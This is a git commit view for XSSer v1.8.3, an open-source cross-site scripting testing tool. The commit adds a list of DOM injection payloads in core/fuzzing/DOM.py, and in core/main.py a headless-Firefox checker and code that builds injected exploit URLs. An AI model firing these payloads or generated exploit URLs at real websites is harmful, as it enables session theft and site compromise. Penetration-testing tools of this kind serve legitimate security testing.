Browse Source

XSSer v1.8[3] - 'The HiV€!' release

epsylon 4 years ago
parent
commit
30fc0c8d50
28 changed files with 584 additions and 272 deletions
  1. 1 1
      Makefile
  2. 11 2
      README.md
  3. 1 1
      core/__init__.py
  4. 1 1
      core/crawler.py
  5. 1 2
      core/curlcontrol.py
  6. 1 1
      core/dork.py
  7. BIN
      core/driver/geckodriver
  8. 1 1
      core/encdec.py
  9. 39 11
      core/fuzzing/DOM.py
  10. 1 1
      core/globalmap.py
  11. 2 3
      core/gtkcontroller.py
  12. 1 1
      core/imagexss.py
  13. 346 113
      core/main.py
  14. 0 5
      core/mozchecker.py
  15. 4 5
      core/options.py
  16. 1 1
      core/threadpool.py
  17. 38 8
      core/tokenhub.py
  18. 2 2
      core/twsupport.py
  19. 7 7
      core/update.py
  20. 2 0
      doc/AUTHOR
  21. 107 91
      doc/CHANGELOG
  22. 7 4
      doc/INSTALL
  23. 2 3
      doc/README
  24. 1 0
      doc/requirements.txt
  25. 2 2
      gtk/docs/about.txt
  26. 1 1
      gtk/xsser.ui
  27. 3 4
      setup.py
  28. 1 1
      xsser

+ 1 - 1
Makefile

@@ -4,7 +4,7 @@ PYTHON=`which python`
 DESTDIR=/
 DESTDIR=/
 BUILDIR=$(CURDIR)/debian/xsser
 BUILDIR=$(CURDIR)/debian/xsser
 PROJECT=xsser
 PROJECT=xsser
-VERSION=1.8.2
+VERSION=1.8.3
 
 
 all:
 all:
 	@echo "make source - Create source package"
 	@echo "make source - Create source package"

+ 11 - 2
README.md

@@ -41,14 +41,16 @@ XSSer runs on many platforms. It requires Python (3.x) and the following librari
     - python3-geoip2 - Python geoip2 API for web services and databases - Python 3.x
     - python3-geoip2 - Python geoip2 API for web services and databases - Python 3.x
     - python3-gi - Python 3 bindings for gobject-introspection libraries
     - python3-gi - Python 3 bindings for gobject-introspection libraries
     - python3-cairocffi - cffi-based cairo bindings for Python (Python3)
     - python3-cairocffi - cffi-based cairo bindings for Python (Python3)
+    - python3-selenium - Python3 bindings for Selenium
+    - firefoxdriver - Firefox WebDriver support
 
 
 On Debian-based systems (ex: Ubuntu), run: 
 On Debian-based systems (ex: Ubuntu), run: 
 
 
-    sudo apt-get install python3-pycurl python3-bs4 python3-geoip python3-geoip2 python3-gi python3-cairocffi
+    sudo apt-get install python3-pycurl python3-bs4 python3-geoip python3-geoip2 python3-gi python3-cairocffi python3-selenium firefoxdriver
 
 
 On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:
 On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:
 
 
-    sudo pip3 install pycurl bs4 geoip2 gobject cairocffi
+    sudo pip3 install pycurl bs4 geoip2 gobject cairocffi selenium
 
 
 ####  Source libs:
 ####  Source libs:
 
 
@@ -59,6 +61,7 @@ On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... als
    * PyGeoIP2: https://pypi.org/project/geoip2/
    * PyGeoIP2: https://pypi.org/project/geoip2/
    * PyGObject: https://pypi.org/project/gobject/
    * PyGObject: https://pypi.org/project/gobject/
    * PyCairocffi: https://pypi.org/project/cairocffi/
    * PyCairocffi: https://pypi.org/project/cairocffi/
+   * PySelenium: https://pypi.org/project/selenium/
 
 
 ----------
 ----------
 
 
@@ -79,5 +82,11 @@ in the [LICENSE](./docs/LICENSE) file.
 
 
   ![XSSer](https://xsser.03c8.net/xsser/thehive5.png "XSSer Bypassers")
   ![XSSer](https://xsser.03c8.net/xsser/thehive5.png "XSSer Bypassers")
 
 
+  ![XSSer](https://xsser.03c8.net/xsser/thehive6.png "XSSer [HTTP GET] [LOCAL] Reverse Exploit")
+
+  ![XSSer](https://xsser.03c8.net/xsser/thehive7.png "XSSer [HTTP POST] [REMOTE] Reverse Exploit")
+
+  ![XSSer](https://xsser.03c8.net/xsser/thehive8.png "XSSer [HTTP DOM] Exploit")
+
   ![XSSer](https://xsser.03c8.net/xsser/zika4.png "XSSer GeoMap")
   ![XSSer](https://xsser.03c8.net/xsser/zika4.png "XSSer GeoMap")
 
 

+ 1 - 1
core/__init__.py

@@ -1,7 +1,7 @@
 """
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 This file is part of the XSSer project, https://xsser.03c8.net
 
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 
 xsser is free software; you can redistribute it and/or modify it under
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
 the terms of the GNU General Public License as published by the Free

+ 1 - 1
core/crawler.py

@@ -4,7 +4,7 @@
 """
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 This file is part of the XSSer project, https://xsser.03c8.net
 
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 
 xsser is free software; you can redistribute it and/or modify it under
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
 the terms of the GNU General Public License as published by the Free

+ 1 - 2
core/curlcontrol.py

@@ -4,7 +4,7 @@
 """
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 This file is part of the XSSer project, https://xsser.03c8.net
 
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 
 xsser is free software; you can redistribute it and/or modify it under
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
 the terms of the GNU General Public License as published by the Free
@@ -495,7 +495,6 @@ class Curl:
                 print("Limit to follow:", cls.fli)
                 print("Limit to follow:", cls.fli)
         else:
         else:
             print("Delaying:", cls.delay, "seconds")
             print("Delaying:", cls.delay, "seconds")
-
         print("Retries:", cls.retries, "\n")
         print("Retries:", cls.retries, "\n")
 
 
     def answered(self, check):
     def answered(self, check):

+ 1 - 1
core/dork.py

@@ -4,7 +4,7 @@
 """
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 This file is part of the XSSer project, https://xsser.03c8.net
 
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 
 xsser is free software; you can redistribute it and/or modify it under
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
 the terms of the GNU General Public License as published by the Free

BIN
core/driver/geckodriver


+ 1 - 1
core/encdec.py

@@ -4,7 +4,7 @@
 """
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 This file is part of the XSSer project, https://xsser.03c8.net
 
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 
 xsser is free software; you can redistribute it and/or modify it under
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
 the terms of the GNU General Public License as published by the Free

+ 39 - 11
core/fuzzing/DOM.py

@@ -4,7 +4,7 @@
 """
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 This file is part of the XSSer project, https://xsser.03c8.net
 
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 
 xsser is free software; you can redistribute it and/or modify it under
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
 the terms of the GNU General Public License as published by the Free
@@ -24,14 +24,42 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 ## Happy Cross Hacking! ;)
 ## Happy Cross Hacking! ;)
 
 
 DOMvectors = [
 DOMvectors = [
-		{ 'payload' : """?notname=PAYLOAD&""",
-		  'browser' : """[Document Object Model Injection]"""},
-		{ 'payload':'''<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="PAYLOAD" style="behavior:url(#x);"><param name=postdomevents /></object>''',
-		  'browser' : """[Document Object Model Injection]"""},
-		{ 'payload' : """?<script>history.pushState(0,0,'PAYLOAD');</script>""",
-		  'browser' : """[Document Object Model Injection]"""},
-		{ 'payload' : """?name=Y%0d%0a%0d%0aPAYLOAD""",
-		  'browser' : """[Document Object Model Injection]"""}, 
-		{ 'payload' : """?foobar=name=PAYLOAD&""",
-		  'browser' : """[Document Object Model Injection]"""}
+#		{ 'payload' : """?notname=PAYLOAD&""",
+#		  'browser' : """[Document Object Model Injection]"""},
+#		{ 'payload':'''<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="PAYLOAD" style="behavior:url(#x);"><param name=postdomevents /></object>''',
+#		  'browser' : """[Document Object Model Injection]"""},
+#		{ 'payload' : """?<script>history.pushState(0,0,'PAYLOAD');</script>""",
+#		  'browser' : """[Document Object Model Injection]"""},
+#		{ 'payload' : """?name=Y%0d%0a%0d%0aPAYLOAD""",
+#		  'browser' : """[Document Object Model Injection]"""}, 
+#		{ 'payload' : """?foobar=name=PAYLOAD&""",
+#		  'browser' : """[Document Object Model Injection]"""},
+		{ 'payload':"""Y#<script>alert('PAYLOAD')</script>""",
+		  'browser':"""[Document Object Model Injection]"""},
+        { 'payload':"""Y#<%<!--'%><script>alert(PAYLOAD);</script -->""",
+          'browser':"""[Document Object Model Injection]"""},			
+        { 'payload':"""Y#<script ^__^>alert(PAYLOAD)</script ^__^""",
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':'''Y#<script src="data:text/javascript,alert(PAYLOAD)"></script>''',
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':"""Y#<script>+-+-1-+-+alert(PAYLOAD)</script>""",
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':"""Y#<script x> alert(PAYLOAD) </script 1=2""",
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':'''Y#<script>a=eval;b=alert;a(b(/ PAYLOAD/.source));</script>'">''',
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':'''Y#<script/y~~~>;alert(PAYLOAD);</script/Y~~~>''',
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':'''Y#%00“><script>alert(PAYLOAD)</script>''',
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':'''Y#%22%3E%3Cscript%3Ealert(PAYLOAD)%3B%3C%2Fscript%3E''',
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':'''Y#%3Cscript%3Ealert(PAYLOAD)%3B%3C%2Fscript%3E''',
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':'''Y#`"><%3Cscript>javascript:alert(PAYLOAD)</script>''',
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':'''Y#%3Cscript>javascript:alert(PAYLOAD)</script>''',
+          'browser':"""[Document Object Model Injection]"""},
+        { 'payload':"""Y#<SCRIPT>a=/PAYLOAD/alert(a.source)</SCRIPT>""",
+          'browser':"""[Document Object Model Injection]"""}
 		]
 		]

+ 1 - 1
core/globalmap.py

@@ -4,7 +4,7 @@
 """
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 This file is part of the XSSer project, https://xsser.03c8.net
 
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 
 xsser is free software; you can redistribute it and/or modify it under
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
 the terms of the GNU General Public License as published by the Free

+ 2 - 3
core/gtkcontroller.py

@@ -4,7 +4,7 @@
 """
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 This file is part of the XSSer project, https://xsser.03c8.net
 
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 
 xsser is free software; you can redistribute it and/or modify it under
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
 the terms of the GNU General Public License as published by the Free
@@ -352,7 +352,7 @@ class Controller(XSSerReporter):
         Callback called when the window is destroyed (close button clicked)
         Callback called when the window is destroyed (close button clicked)
         """
         """
         if self._flying:
         if self._flying:
-            print("[Info] Exiting... please wait until all mosquitoes return to mothership!\n")
+            print("[Info] Please wait... until all the mosquitoes have returned to the hieve... -> [Exiting!]\n")
             self._quitting = True
             self._quitting = True
             self.on_stop_attack()
             self.on_stop_attack()
             self.do_quit()
             self.do_quit()
@@ -387,7 +387,6 @@ class Controller(XSSerReporter):
             work_count = ""
             work_count = ""
             crawled = "X"
             crawled = "X"
         pars = [crawled, rem, th_count, work_count]
         pars = [crawled, rem, th_count, work_count]
-
         gdk.threads_enter()
         gdk.threads_enter()
         self.counters_label.set_text(" ".join(pars))
         self.counters_label.set_text(" ".join(pars))
         if pars[3]:
         if pars[3]:

+ 1 - 1
core/imagexss.py

@@ -4,7 +4,7 @@
 """
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 This file is part of the XSSer project, https://xsser.03c8.net
 
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 
 xsser is free software; you can redistribute it and/or modify it under
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
 the terms of the GNU General Public License as published by the Free

+ 346 - 113
core/main.py

@@ -4,7 +4,7 @@
 """
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 This file is part of the XSSer project, https://xsser.03c8.net
 
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 
 xsser is free software; you can redistribute it and/or modify it under
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
 the terms of the GNU General Public License as published by the Free
@@ -19,7 +19,12 @@ You should have received a copy of the GNU General Public License along
 with xsser; if not, write to the Free Software Foundation, Inc., 51
 with xsser; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 """
-import os, re, sys, datetime, hashlib, time, urllib.request, urllib.parse, urllib.error, cgi, traceback, webbrowser, random
+import os, re, sys, datetime, hashlib, time, cgi, traceback, webbrowser, random
+try:
+    import urllib.request, urllib.error, urllib.parse
+except:
+    print ("\n[Info] XSSer no longer supports Python2: (https://www.python.org/doc/sunset-python-2/). Try to run the tool with Python3.x.y... (ex: python3 xsser)\n")
+    sys.exit()
 from random import randint
 from random import randint
 from base64 import b64encode, b64decode
 from base64 import b64encode, b64decode
 import core.fuzzing
 import core.fuzzing
@@ -45,7 +50,7 @@ from core.threadpool import ThreadPool, NoResultsPending
 from core.update import Updater
 from core.update import Updater
 
 
 # set to emit debug messages about errors (0 = off).
 # set to emit debug messages about errors (0 = off).
-DEBUG = 0
+DEBUG = False
 
 
 class xsser(EncoderDecoder, XSSerReporter):
 class xsser(EncoderDecoder, XSSerReporter):
     """
     """
@@ -624,7 +629,7 @@ class xsser(EncoderDecoder, XSSerReporter):
 
 
     def get_url_payload(self, url, payload, query_string, user_attack_payload):
     def get_url_payload(self, url, payload, query_string, user_attack_payload):
         """
         """
-        Attack the given url with the given payload
+        Attack the given url within the given payload
         """
         """
         options = self.options
         options = self.options
         self._ongoing_attacks = {}
         self._ongoing_attacks = {}
@@ -896,6 +901,8 @@ class xsser(EncoderDecoder, XSSerReporter):
                 target_url_params = urllib.parse.urlencode(target_params)
                 target_url_params = urllib.parse.urlencode(target_params)
                 dest_url = target_url_params
                 dest_url = target_url_params
         self._ongoing_attacks['url'] = url_orig_hash
         self._ongoing_attacks['url'] = url_orig_hash
+        if payload['browser'] == "[Document Object Model Injection]": # url decoding/unquote DOM payloads to execute url #fragments
+            dest_url = urllib.parse.unquote(dest_url)
         return dest_url, agent, referer, cookie
         return dest_url, agent, referer, cookie
 
 
     def attack_url_payload(self, url, payload, query_string):
     def attack_url_payload(self, url, payload, query_string):
@@ -934,18 +941,17 @@ class xsser(EncoderDecoder, XSSerReporter):
             pool.addRequest(c.post, [[url, dest_url]], _cb, _error_cb)
             pool.addRequest(c.post, [[url, dest_url]], _cb, _error_cb)
             self._ongoing_requests += 1
             self._ongoing_requests += 1
 
 
-
     def error_attack_url_payload(self, c, url, request, error):
     def error_attack_url_payload(self, c, url, request, error):
         self._ongoing_requests -= 1
         self._ongoing_requests -= 1
         for reporter in self._reporters:
         for reporter in self._reporters:
             reporter.mosquito_crashed(url, str(error[0]))
             reporter.mosquito_crashed(url, str(error[0]))
         dest_url = request.args[0]
         dest_url = request.args[0]
-        self.report("Failed attempt (URL Malformed!?): " + url + "\n")
+        self.report("[Error] Failed attempt (URL Malformed!?): " + url + "\n")
         self.urlmalformed = True
         self.urlmalformed = True
         if self.urlmalformed == True and self.urlspoll[0] == url:
         if self.urlmalformed == True and self.urlspoll[0] == url:
             self.land()
             self.land()
-        self.report(str(error[0]))
-        if self.options.verbose:
+        if DEBUG == True:
+            self.report(str(error[0]))
             traceback.print_tb(error[2])
             traceback.print_tb(error[2])
         c.close()
         c.close()
         del c
         del c
@@ -1082,7 +1088,7 @@ class xsser(EncoderDecoder, XSSerReporter):
     def _report_attack_success(self, curl_handle, dest_url, payload,\
     def _report_attack_success(self, curl_handle, dest_url, payload,\
                                query_string, orig_url):
                                query_string, orig_url):
         """
         """
-        report connection success of an attack
+        report connection success when attacking
         """
         """
         if not orig_url in self.successful_urls:
         if not orig_url in self.successful_urls:
             self.successful_urls.append(orig_url)
             self.successful_urls.append(orig_url)
@@ -1411,13 +1417,31 @@ class xsser(EncoderDecoder, XSSerReporter):
             if b64_string.startswith("="):
             if b64_string.startswith("="):
                 b64_string = b64_string.replace("=", "")
                 b64_string = b64_string.replace("=", "")
             hashing = b64_string
             hashing = b64_string
-        if str(hashing) in c_body and "http-code: 200" in c_info: # [XSS CHECKPOINT: anti-false positives]
-            self.check_false_positives(hashing, c_body, dest_url, payload, query_string, orig_url, method)
+        if payload['browser'] == "[Document Object Model Injection]":
+            self.check_hash_using_dom(dest_url, payload, hashing, query_string, orig_url, method) # check hash using internal headless browser engine
+        else:
+            if str(hashing) in c_body and "http-code: 200" in c_info: # [XSS CHECKPOINT: anti-false positives]
+                self.check_false_positives(hashing, c_body, dest_url, payload, query_string, orig_url, method)
+            else:
+                self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
+
+    def check_hash_using_dom(self, dest_url, payload, hashing, query_string, orig_url, method):
+        if self.cookie_set_flag == False:
+            self.generate_headless_cookies(orig_url)
+            self.cookie_set_flag = True # cookie has been set!
+        try:
+            self.driver.get(dest_url) # GET
+            src = self.driver.page_source
+        except self.dom_browser_alert as alert_text: # handled with UnexpectedAlertPresentException 
+            if (hashing in str(alert_text)): # [XSS DOM CHECKPOINT: alert() dialog open!]
+                self.add_success(dest_url, payload, hashing, query_string, orig_url, method) # success!
+                self.token_arrived_hashes.append(hashing) # add token/hashing for counting
+            else:
+                self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
         else:
         else:
             self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
             self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
 
 
-    def check_false_positives(self, hashing, c_body, dest_url, payload, query_string, orig_url, method):
-        # some anti false positives checkers
+    def check_false_positives(self, hashing, c_body, dest_url, payload, query_string, orig_url, method): # some anti false positives checkers
         if str(self.options.discode) in c_body: # provided by user
         if str(self.options.discode) in c_body: # provided by user
             self.report("[Info] Reply contains code [ --discode ] provided to be discarded -> [DISCARDING!]\n")
             self.report("[Info] Reply contains code [ --discode ] provided to be discarded -> [DISCARDING!]\n")
             self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
             self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
@@ -1438,28 +1462,28 @@ class xsser(EncoderDecoder, XSSerReporter):
         Add an attack that failed to inject
         Add an attack that failed to inject
         """
         """
         if method == "heuristic":
         if method == "heuristic":
-            self.report(" [ NOT-FOUND ] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
+            self.report(" [NOT FOUND] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
             self.hash_notfound.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
             self.hash_notfound.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
         elif method == "hashing check":
         elif method == "hashing check":
-            self.report(" [ NOT-FOUND ] -> [ " + str(hashing) + " ] : [ hashing_check ]")
+            self.report(" [NOT FOUND] -> [ " + str(hashing) + " ] : [ hashing_check ]")
             self.hash_notfound.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
             self.hash_notfound.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
         else:
         else:
-            self.report(" [ NOT-FOUND ] -> [ " + hashing + " ] : [ " + method + " ]")
+            self.report(" [NOT FOUND] -> [ " + hashing + " ] : [ " + method + " ]")
             self.hash_notfound.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
             self.hash_notfound.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
           
           
     def add_success(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
     def add_success(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
         """
         """
-        Add an attack that managed to inject the code
+        Add an attack that have managed to inject code
         """
         """
         if method == "heuristic":
         if method == "heuristic":
-            self.report(" [ FOUND! ] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
+            self.report(" [FOUND !!!] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
             self.hash_found.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
             self.hash_found.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
         elif method == "hashing check":
         elif method == "hashing check":
-            self.report(" [ FOUND! ] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
+            self.report(" [FOUND !!!] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
             self.hash_found.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
             self.hash_found.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
         else:
         else:
             payload_sub =  payload['payload']
             payload_sub =  payload['payload']
-            self.report(" [ FOUND! ] -> [ " + hashing + " ] : [ " + method + " ] -> [ " + payload_sub + " ]")
+            self.report(" [FOUND !!!] -> [ " + hashing + " ] : [ " + method + " ]")
             self.hash_found.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
             self.hash_found.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
         for reporter in self._reporters:
         for reporter in self._reporters:
             reporter.add_success(dest_url)
             reporter.add_success(dest_url)
@@ -1469,31 +1493,83 @@ class xsser(EncoderDecoder, XSSerReporter):
             else:
             else:
                 self.do_token_check(orig_url, hashing, payload, query_string, dest_url)
                 self.do_token_check(orig_url, hashing, payload, query_string, dest_url)
 
 
-    def do_token_check(self, orig_url, hashing, payload, query_string, dest_url):
+    def create_headless_embed_browser(self):
+        agents = [] # user-agents
+        self.cookie_set_flag = False # used for cookie
+        f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
+        for line in f:
+            agents.append(line)
+        try:
+            agent = random.choice(agents).strip() # set random user-agent
+        except:
+            agent = "Privoxy/1.0" # set static user-agent
+        try: # selenium + firefox + gecko(bin)
+            from selenium import webdriver
+            from selenium.webdriver.firefox.options import Options as FirefoxOptions
+            from selenium.common.exceptions import UnexpectedAlertPresentException as UnexpectedAlertPresentException # used for search alert dialogs at DOM
+            self.dom_browser_alert = UnexpectedAlertPresentException
+            profile = webdriver.FirefoxProfile()
+            profile.set_preference("general.useragent.override", str(agent)) # set Firefox (profile) - random user-agent
+            profile.set_preference('browser.safebrowsing.enabled', True)
+            profile.set_preference('toolkit.telemetry.enabled', False)
+            profile.set_preference('webdriver_accept_untrusted_certs', True)
+            profile.set_preference('security.insecure_field_warning.contextual.enabled', False)
+            profile.set_preference('security.insecure_password.ui.enabled', False)
+            profile.set_preference('extensions.logging.enabled', False)
+            options = FirefoxOptions()
+            options.add_argument("-headless") # set Firefox (options) - headless mode
+            options.add_argument("-no-remote")
+            options.add_argument("-no-first-run")
+            options.add_argument("-app")
+            options.add_argument("-safe-mode")
+            current_dir = os.getcwd()
+            driver = webdriver.Firefox(options=options, firefox_profile=profile, executable_path=current_dir+"/core/driver/geckodriver", log_path=os.devnull) # wrapping!
+        except:
+            driver = None
+            self.token_arrived_flag = False
+            if DEBUG == True: 
+                traceback.print_exc()
+        return driver
+
+    def generate_GET_token_payload(self, orig_url, dest_url, query_string, hashing, payload, vector_found):
         if "VECTOR" in orig_url:
         if "VECTOR" in orig_url:
-            dest_url = orig_url
+           dest_url = orig_url
         else:
         else:
             if not dest_url.endswith("/"):
             if not dest_url.endswith("/"):
                 dest_url = dest_url + "/"
                 dest_url = dest_url + "/"
-            dest_url = orig_url + query_string + payload['payload']
-
-        tok_url = None
+        dest_url = orig_url + query_string
+        dest_url = dest_url.split("#")[0]
+        p_uri = urlparse(dest_url)
+        uri = p_uri.netloc
+        path = p_uri.path
+        target_params = parse_qs(urlparse(dest_url).query, keep_blank_values=False)
+        for key, value in target_params.items():
+            if key == vector_found: # only replace parameters with valid hashes
+                target_params[key] = payload['payload']
+            else:
+                target_params[key] = target_params[key][0]
+        target_url_params = urllib.parse.urlencode(target_params)
+        dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
+        dest_url = urllib.parse.unquote(dest_url)
+        tok_url = self.generate_token_exploit(hashing, dest_url, payload)
+        return tok_url
+
+    def generate_POST_token_payload(self, orig_url, dest_url, query_string, hashing, payload, vector_found):
+        if vector_found in dest_url:
+            v = dest_url.split(vector_found+"=")[1]
+            p = v.split("&")[0]
+            dest_url = dest_url.replace(p, payload['payload'])
+        dest_url = urllib.parse.unquote(dest_url)
+        tok_url = self.generate_token_exploit(hashing, dest_url, payload)
+        return tok_url
+
+    def generate_token_exploit(self, hashing, dest_url, payload):
         self_url = "http://localhost:19084/success/" + hashing
         self_url = "http://localhost:19084/success/" + hashing
         shadow_js_inj = "document.location=document.location.hash.substring(1)"
         shadow_js_inj = "document.location=document.location.hash.substring(1)"
         shadow_inj = "<script>" + shadow_js_inj + "</script>"
         shadow_inj = "<script>" + shadow_js_inj + "</script>"
-        shadow_js_inj = shadow_js_inj
-        dest_url = dest_url.split("#")[0]
-
-        def requote(what):
-            return urllib.parse.quote_plus(what)
-        vector_and_payload = payload['payload']
         _e = self.encoding_permutations
         _e = self.encoding_permutations
-        if 'XSS' in dest_url:
-            dest_url = dest_url.replace('XSS', vector_and_payload)
-        if 'X1S' in dest_url:
-            dest_url = dest_url.replace('XSS', vector_and_payload)
         if 'VECTOR' in dest_url:
         if 'VECTOR' in dest_url:
-            dest_url = dest_url.replace('VECTOR', vector_and_payload)
+            dest_url = dest_url.replace('VECTOR', payload['payload'])
         if '">PAYLOAD' in dest_url:
         if '">PAYLOAD' in dest_url:
             tok_url = dest_url.replace('">PAYLOAD', _e('">' + shadow_inj))
             tok_url = dest_url.replace('">PAYLOAD', _e('">' + shadow_inj))
             tok_url += '#' + self_url
             tok_url += '#' + self_url
@@ -1501,10 +1577,8 @@ class xsser(EncoderDecoder, XSSerReporter):
             tok_url = dest_url.replace("'>PAYLOAD", _e("'>" + shadow_inj))
             tok_url = dest_url.replace("'>PAYLOAD", _e("'>" + shadow_inj))
             tok_url += '#' + self_url
             tok_url += '#' + self_url
         elif "javascript:PAYLOAD" in dest_url:
         elif "javascript:PAYLOAD" in dest_url:
-            tok_url = dest_url.replace('javascript:PAYLOAD',
-                                       self.encoding_permutations("window.location='" + self_url+"';"))
-            tok_url = dest_url.replace("javascript:PAYLOAD",
-                                       _e("javascript:" + shadow_js_inj))
+            tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
+            tok_url = dest_url.replace("javascript:PAYLOAD", _e("javascript:" + shadow_js_inj))
             tok_url+= '#' + self_url
             tok_url+= '#' + self_url
         elif '"PAYLOAD"' in dest_url:
         elif '"PAYLOAD"' in dest_url:
             tok_url = dest_url.replace('"PAYLOAD"', '"' + self_url + '"')
             tok_url = dest_url.replace('"PAYLOAD"', '"' + self_url + '"')
@@ -1513,17 +1587,14 @@ class xsser(EncoderDecoder, XSSerReporter):
         elif 'PAYLOAD' in dest_url and 'SRC' in dest_url:
         elif 'PAYLOAD' in dest_url and 'SRC' in dest_url:
             tok_url = dest_url.replace('PAYLOAD', self_url)
             tok_url = dest_url.replace('PAYLOAD', self_url)
         elif "SCRIPT" in dest_url:
         elif "SCRIPT" in dest_url:
-            tok_url = dest_url.replace('PAYLOAD',
-                                      shadow_js_inj)
+            tok_url = dest_url.replace('PAYLOAD', shadow_js_inj)
             tok_url += '#' + self_url
             tok_url += '#' + self_url
         elif 'onerror="PAYLOAD"' in dest_url:
         elif 'onerror="PAYLOAD"' in dest_url:
             tok_url = dest_url.replace('onerror="PAYLOAD"', _e('onerror="' + shadow_inj + '"'))
             tok_url = dest_url.replace('onerror="PAYLOAD"', _e('onerror="' + shadow_inj + '"'))
             tok_url+= '#' + self_url
             tok_url+= '#' + self_url
         elif 'onerror="javascript:PAYLOAD"' in dest_url:
         elif 'onerror="javascript:PAYLOAD"' in dest_url:
-            tok_url = dest_url.replace('javascript:PAYLOAD',
-            				self.encoding_permutations("window.location='" + self_url+"';"))
-            tok_url = dest_url.replace('onerror="javascript:PAYLOAD"',
-                                       _e('onerror="javascript:' + shadow_js_inj + '"'))
